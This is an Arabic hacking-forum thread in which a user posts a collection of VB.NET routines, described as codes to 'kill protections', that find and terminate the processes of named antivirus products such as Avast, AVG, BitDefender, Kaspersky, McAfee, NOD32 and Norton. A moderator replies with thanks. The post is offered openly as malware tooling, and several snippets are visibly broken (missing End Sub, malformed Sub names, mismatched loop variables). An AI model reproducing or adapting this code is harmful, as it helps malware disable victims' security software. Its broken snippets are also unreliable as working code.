1. سيوفي المعموري

    سيوفي المعموري موقوف لمخالفة الشروط

    الأنتساب:
    ‏19 يونيو 2015
    المشاركات:
    56
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    المخالفات
    3
    بسم الله الرحمن الرحيم




    اقدم لكم اكواد لقتل بعض الحمايات
    أمل ان تنال اعجابكم )4:"






    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Antia-squared
    ---------------------------------
    Sub Antia-squared()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "a2servic.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ---------------------------------
    AntiGen
    ---------------------------------
    Sub Anti AntiGen()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "antigen.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ---------------------------------
    Avast
    ---------------------------------

    Sub AntiAvast()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "ashWebSv.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next

    ---------------------------------
    AVG
    ---------------------------------
    Sub AntiAVG()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "avgemc.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub


    ---------------------------------
    BitDefender 2
    ---------------------------------
    Dim bit As Process() = Process.GetProcesses
    Dim b As Integer
    For b = 0 To bit.Length - 1
    Debug.WriteLine(bit(b).ProcessName)
    If Strings.UCase(bit(b).ProcessName) =Strings.UCase("bdagent") Then
    bit(b).Kill()
    End If
    Next


    ---------------------------------
    BitDefender
    ---------------------------------

    Sub AntiBitDefender()
    Dim KillTheProcess As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To KillTheProcess.Length - 1
    Select Case Strings.LCase(KillTheProcess(i).ProcessName)
    Case "bdagent"
    KillTheProcess(i).Kill()
    Case Else
    End Select
    Next
    End Sub


    ---------------------------------
    Comodo
    ---------------------------------

    Sub AntiComodo()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "cpf.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub


    ---------------------------------
    Kaspersky
    ---------------------------------

    Sub AntiKaspersky()
    Dim KillTheProcess As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To KillTheProcess.Length - 1
    Select Case Strings.LCase(KillTheProcess(i).ProcessName)
    Case "avp"
    KillTheProcess(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ---------------------------------
    McAfee​
    ---------------------------------

    Sub AntiMcAfee()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "mcagent" & "mcuimgr"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub


    ---------------------------------
    NOD32
    ---------------------------------

    Dim nod As Process() = Process.GetProcesses
    Dim n As Integer
    For o = 0 To nod.Length - 1
    Debug.WriteLine(nod(n).ProcessName)
    If Strings.UCase(nod(n).ProcessName)=Strings.UCase("e gui") Then
    nod(n).Kill()
    End If
    Next


    ---------------------------------
    NOD32 (2)
    ---------------------------------

    Sub AntiNOD32()
    Dim KillTheProcess As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To KillTheProcess.Length - 1
    Select Case Strings.LCase(KillTheProcess(i).ProcessName)
    Case "egui"
    KillTheProcess(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ---------------------------------
    Norton
    ---------------------------------

    Sub Anti Norton()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "ccapp.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    انهتى


    اراكم في موضوع جديد )4:"​
     
  2. Mira

    Mira .::|| Tale of Remorse ||::. مشرفات المنتدى

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    657
    الإعجابات المتلقاة:
    117
    نقاط الجائزة:
    43
    الجنس:
    أنثى
    الإقامة:
    Baghdad
    رد: اكواد لقتل برامج الحماية

    [​IMG]عاشت ايدك وشكراالك على الموضوع[​IMG]
     
  3. سيوفي المعموري

    سيوفي المعموري موقوف لمخالفة الشروط

    الأنتساب:
    ‏19 يونيو 2015
    المشاركات:
    56
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    المخالفات
    3
    رد: اكواد لقتل برامج الحماية

     

مشاركة هذه الصفحة